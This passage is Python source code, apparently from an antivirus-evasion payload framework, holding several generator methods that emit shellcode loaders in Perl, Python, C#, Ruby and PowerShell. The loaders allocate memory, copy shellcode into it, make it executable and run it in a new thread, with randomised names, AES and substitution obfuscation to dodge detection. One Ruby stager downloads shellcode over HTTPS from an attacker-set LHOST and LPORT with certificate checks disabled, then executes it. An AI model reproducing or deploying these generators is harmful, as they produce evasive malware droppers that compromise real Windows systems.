payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable)
payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
rand_heapcrout = evasion_helpers.randomString()
payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n"
payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n"
payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n"
payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable)
payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName)
payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n"
payload_code += '}\n' * num_ends_required
self.payload_source_code = payload_code
return
def generate(self):
# Generate the variable names
randctypes = evasion_helpers.randomString()
ShellcodeVariableName = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
RandEncShellCodePayload = evasion_helpers.randomString()
RandCipherObject = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# encrypt the shellcode and get our randomized key
encoded_ciphertext, encryption_key, iv_value = encryption.aes_encryption(
Shellcode)
encoded_ciphertext = encoded_ciphertext.decode('ascii')
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
# Create Payload code
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n'
payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
# Create Payload code
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n'
payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n'
payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ''
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
# randomize all our variable names, yo'
namespaceName = evasion_helpers.randomString()
className = evasion_helpers.randomString()
bytearrayName = evasion_helpers.randomString()
funcAddrName = evasion_helpers.randomString()
hThreadName = evasion_helpers.randomString()
threadIdName = evasion_helpers.randomString()
pinfoName = evasion_helpers.randomString()
rand_bool = evasion_helpers.randomString()
random_out = evasion_helpers.randomString()
num_tabs_required = 0
# get 12 random variables for the API imports
r = [evasion_helpers.randomString() for x in range(16)]
y = [evasion_helpers.randomString() for x in range(17)]
#required syntax at the beginning of any/all payloads
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
payload_code += "namespace %s { class %s {\n" % (namespaceName,
className)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
r[10], r[11], r[12], r[13], r[14], r[15])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
y[10], y[11], y[12], y[13], y[14], y[15], y[16])
payload_code += "static void Main() {\n"
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
num_tabs_required += 2
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (
bytearrayName, Shellcode)
payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (
funcAddrName, bytearrayName)
payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
bytearrayName, funcAddrName, bytearrayName)
payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" % (
hThreadName, threadIdName, pinfoName)
payload_code += '\t' * num_tabs_required + "uint %s;\n" % (
random_out)
payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" % (
rand_bool, funcAddrName, random_out)
payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (
hThreadName)
# payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
rand_heap = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_var = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (
bytearrayName, Shellcode)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
rand_heap, bytearrayName)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
rand_ptr, rand_heap, bytearrayName)
payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
rand_ptr, bytearrayName, bytearrayName)
payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(
rand_var)
payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
hThreadName, rand_ptr, rand_var)
payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(
hThreadName)
while (num_tabs_required != 0):
payload_code += '\t' * num_tabs_required + '}'
num_tabs_required -= 1
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
payload_code = "require 'rubygems'\n"
payload_code += "require 'win32/api'\n"
payload_code += "include Win32\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
payloadName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
rand_protect = evasion_helpers.randomString()
protect_out = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n"
payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode)
payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n"
payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode)
payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n"
payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n"
payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
# Random letter substition variables
encode_with_this = random.choice(self.hex_letters)
decode_with_this = random.choice(self.non_hex_letters)
# Generate Random Variable Names
subbed_shellcode_variable_name = evasion_helpers.randomString()
ShellcodeVariableName = evasion_helpers.randomString()
rand_decoded_letter = evasion_helpers.randomString()
rand_correct_letter = evasion_helpers.randomString()
rand_sub_scheme = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = Shellcode.encode('unicode_escape')
Shellcode = Shellcode.decode('ascii')
Shellcode = Shellcode.replace(encode_with_this,
decode_with_this).replace('\\', '\\\\')
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# Add in the letter switching code
payload_code += '\t' * num_tabs_required + 'import codecs\n'
payload_code += '\t' * num_tabs_required + rand_decoded_letter + ' = b\'%s\'\n' % decode_with_this
payload_code += '\t' * num_tabs_required + rand_correct_letter + ' = b\'%s\'\n' % encode_with_this
payload_code += '\t' * num_tabs_required + rand_sub_scheme + ' = bytes.maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n'
payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = b\'' + Shellcode.replace(
'\\\\', '\\') + '\'\n'
payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n'
payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ', _ = codecs.escape_decode(' + subbed_shellcode_variable_name + ')\n'
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n'
payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
# Create Payload File
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + subbed_shellcode_variable_name + ')))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def psRaw(self):
checks, num_ends = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = ",0".join(Shellcode.split("\\"))[1:]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += """Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}\n"""
baseString += """$wut = New-Object System.Object
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
baseString += '}\n' * num_ends
return baseString
def generate(self):
payload_code = ""
payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X":
payload_code += 'require \'socket\'\n'
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += "def ch()\n"
#payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n"
#payload_code += "\t32.times do\n"
#payload_code += "\t\turi = chk.sample(3).join()\n"
#payload_code += "\t\tchk.sort_by {rand}.each do |x|\n"
#payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n"
#payload_code += "\t\tend\n"
#payload_code += "\tend\n"
payload_code += "\treturn \"WEZf\"\n"
payload_code += "end\n"
payload_code += "def ij(sc)\n"
payload_code += "\tif sc.length > 1000\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"
payload_code += "\tend\nend\n"
payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0])
payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n"
payload_code += "http.use_ssl = true\n"
payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n"
payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n"
payload_code += "response = http.request(request)\n"
payload_code += "ij(response.body)\n"
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
# imports and namespace setup
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n"
